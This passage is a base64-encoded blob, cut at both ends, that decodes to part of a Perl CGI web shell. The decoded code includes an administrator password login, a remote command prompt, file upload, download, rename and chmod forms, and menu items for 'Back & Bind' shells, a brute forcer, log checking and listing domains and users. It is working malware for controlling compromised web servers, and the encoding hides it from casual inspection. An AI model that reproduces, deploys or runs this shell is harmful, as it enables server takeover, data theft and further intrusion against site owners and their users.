ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXJsRW5jb2RlKCQpew0KCW15ICRzdHIgPSBzaGlmdDsNCgkkc3RyID1+IHMvKFteQS1aYS16MC05XSkvc3ByaW50ZigiJSUlMDJYIiwgb3JkKCQxKSkvc2VnOw0KCXJldHVybiAkc3RyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsNCglteSAkdGV4dCA9IHNoaWZ0Ow0KCSR0ZXh0ID1+IHMvJi8mYW1wOy9nOw0KCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsNCgkkdGV4dCA9fiBzLycvJy9nOw0KCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7DQoJJHRleHQgPX4gcy8+LyZndDsvZzsNCglyZXR1cm4gJHRleHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBsaW5rIGZvciBkaXJlY3RvcnkNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBBZGRMaW5rRGlyKCQpDQp7DQoJbXkgJGFjPXNoaWZ0Ow0KCW15IEBkaXI9KCk7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJQGRpcj1zcGxpdCgvXFwvLCRDdXJyZW50RGlyKTsNCgl9ZWxzZQ0KCXsNCgkJQGRpcj1zcGxpdCgiLyIsJnRyaW0oJEN1cnJlbnREaXIpKTsNCgl9DQoJbXkgJHBhdGg9IiI7DQoJbXkgJHJlc3VsdD0iIjsNCglmb3JlYWNoIChAZGlyKQ0KCXsNCgkJJHBhdGggLj0gJF8uJFBhdGhTZXA7DQoJCSRyZXN1bHQuPSI8YSBocmVmPSc/YT0iLiRhYy4iJmQ9Ii5lbmNvZGVfYmFzZTY0KCRwYXRoKS4iJz4iLiRfLiRQYXRoU2VwLiI8L2E+IjsNCgl9DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgbWVzc2FnZSB0aGF0IGluZm9ybXMgdGhlIHVzZXIgb2YgYSBmYWlsZWQgbG9naW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQ0Kew0KCXByaW50IDw8RU5EOw0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KTG9naW4gOiBBZG1pbmlzdHJhdG9yPGJyPg0KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludFBhZ2VGb290ZXINCnsNCglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZXRyZWl2ZXMgdGhlIHZhbHVlcyBvZiBhbGwgY29va2llcy4gVGhlIGNvb2tpZXMgY2FuIGJlIGFjY2Vzc2VzIHVzaW5nIHRoZQ0KIyB2YXJpYWJsZSAkQ29va2llc3snJ30NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgc2NyZWVuIHdoZW4gdGhlIHVzZXIgbG9ncyBvdXQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQZXJmb3JtTG9nb3V0DQp7DQoJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPTtcbiI7ICMgcmVtb3ZlIHBhc3N3b3JkIGNvb2tpZQ0KCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkmUHJpbnRMb2dvdXRTY3JlZW47DQoNCgkmUHJpbnRMb2dpblNjcmVlbjsNCgkmUHJpbnRMb2dpbkZvcm07DQoJJlByaW50UGFnZUZvb3RlcjsNCglleGl0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyOw0KCQlwcmludCAmTGlzdERpcjsNCgl9DQoJZWxzZSAjIHBhc3N3b3JkIGRpZG4ndCBtYXRjaA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCQkmUHJpbnRMb2dpblNjcmVlbjsNCgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZA0KCQl7DQoJCQkmUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2U7DQoNCgkJfQ0KCQkmUHJpbnRMb2dpbkZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7DQoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJcmV0dXJuIDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiIgb25TdWJtaXQ9IkVuY29kZXIoJ2MnKSI+DQoNCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyIgaWQ9ImMiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQ0Kew0KCSRFbmNvZ